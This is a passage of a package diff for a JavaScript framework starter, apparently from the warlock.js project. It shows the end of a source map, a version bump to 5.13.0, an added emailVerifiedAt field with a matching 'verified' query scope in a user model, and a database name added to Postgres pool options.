CL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAOA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;AACF;;;;;;;;;AAiBA,MAAa,cAAkC;CAC7C;EAAE,KAAK;EAAa,OAAO;EAAU,MAAM;CAAgC;CAC3E;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;CACA;EAAE,KAAK;EAAa,OAAO;EAAU,MAAM;CAA0B;AACvE;;;;;;;AAQA,MAAa,aAAiC;CAC5C;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;AACF;;;;;AAMA,SAAgB,oBAAoB;CAClC,OAAO,SAAS,KAAI,aAAY;EAC9B,OAAO,QAAQ;EACf,OAAO,QAAQ;EACf,MAAM,GAAG,QAAQ,MAAM,KAAK,QAAQ;CACtC,EAAE;AACJ;;;;AAKA,SAAgB,wBAAkC;CAChD,OAAO,SACJ,QAAO,YAAW,QAAQ,eAAe,CAAC,CAC1C,KAAI,YAAW,QAAQ,GAAG;AAC/B;;;;AAKA,SAAgB,uBAAuB;CACrC,OAAO,YAAY,KAAI,cAAa;EAClC,OAAO,SAAS;EAChB,OAAO,SAAS;EAChB,MAAM,SAAS;CACjB,EAAE;AACJ;;;;;AAMA,SAAgB,sBAAsB;CACpC,OAAO,WAAW,KAAI,SAAQ;EAC5B,OAAO,IAAI;EACX,OAAO,IAAI;EACX,MAAM,IAAI;CACZ,EAAE;AACJ;;;;;;AAOA,SAAgB,oBAA8B;CAC5C,OAAO;EACL,GAAG,SAAS,KAAI,YAAW,QAAQ,GAAG;EACtC,GAAG,YAAY,KAAI,aAAY,SAAS,GAAG;EAC3C,GAAG,WAAW,KAAI,QAAO,IAAI,GAAG;CAClC;AACF"}
|
package/package.json
CHANGED
|
@@ -12,7 +12,7 @@
|
|
|
12
12
|
"dependencies": {
|
|
13
13
|
"@clack/prompts": "^0.7.0",
|
|
14
14
|
"@mongez/copper": "^2.1.2",
|
|
15
|
-
"@warlock.js/fs": "5.
|
|
15
|
+
"@warlock.js/fs": "5.13.0",
|
|
16
16
|
"@mongez/reinforcements": "^4.0.1",
|
|
17
17
|
"cross-spawn": "^7.0.3",
|
|
18
18
|
"rimraf": "^6.0.1",
|
|
@@ -21,7 +21,7 @@
|
|
|
21
21
|
"engines": {
|
|
22
22
|
"node": ">=22.13"
|
|
23
23
|
},
|
|
24
|
-
"version": "5.
|
|
24
|
+
"version": "5.13.0",
|
|
25
25
|
"type": "module",
|
|
26
26
|
"main": "./esm/index.mjs",
|
|
27
27
|
"module": "./esm/index.mjs",
|
|
@@ -19,6 +19,9 @@ export const userSchema = v.object({
|
|
|
19
19
|
// compile error, not a silent write. Optional: a user who has never logged
|
|
20
20
|
// in (freshly registered or freshly seeded) has no lastLogin yet.
|
|
21
21
|
lastLogin: v.date().optional(),
|
|
22
|
+
// Stamped by `@warlock.js/auth`'s `verifyEmail()` (the `auth.verification.field`
|
|
23
|
+
// default). Absent/undefined means unverified — see the `verified` scope below.
|
|
24
|
+
emailVerifiedAt: v.date().optional(),
|
|
22
25
|
});
|
|
23
26
|
|
|
24
27
|
export type UserSchema = Infer<typeof userSchema>;
|
|
@@ -59,7 +62,7 @@ export class User extends Auth<UserSchema> {
|
|
|
59
62
|
});
|
|
60
63
|
|
|
61
64
|
this.addScope("verified", (query) => {
|
|
62
|
-
query.
|
|
65
|
+
query.whereNotNull("emailVerifiedAt");
|
|
63
66
|
});
|
|
64
67
|
}
|
|
65
68
|
}
|
|
@@ -14,6 +14,10 @@ const databaseConfigurations: ConnectionOptions<never, PostgresPoolConfig> = {
|
|
|
14
14
|
defaultDeleteStrategy: "permanent",
|
|
15
15
|
|
|
16
16
|
clientOptions: {
|
|
17
|
+
// `PostgresPoolConfig` extends the connection config, so `database` is
|
|
18
|
+
// required here too even though it duplicates the top-level value above.
|
|
19
|
+
database: env("DB_NAME"),
|
|
20
|
+
|
|
17
21
|
// Native `pg` pool options — tune these for your workload.
|
|
18
22
|
// max: 10,
|
|
19
23
|
// min: 0,
|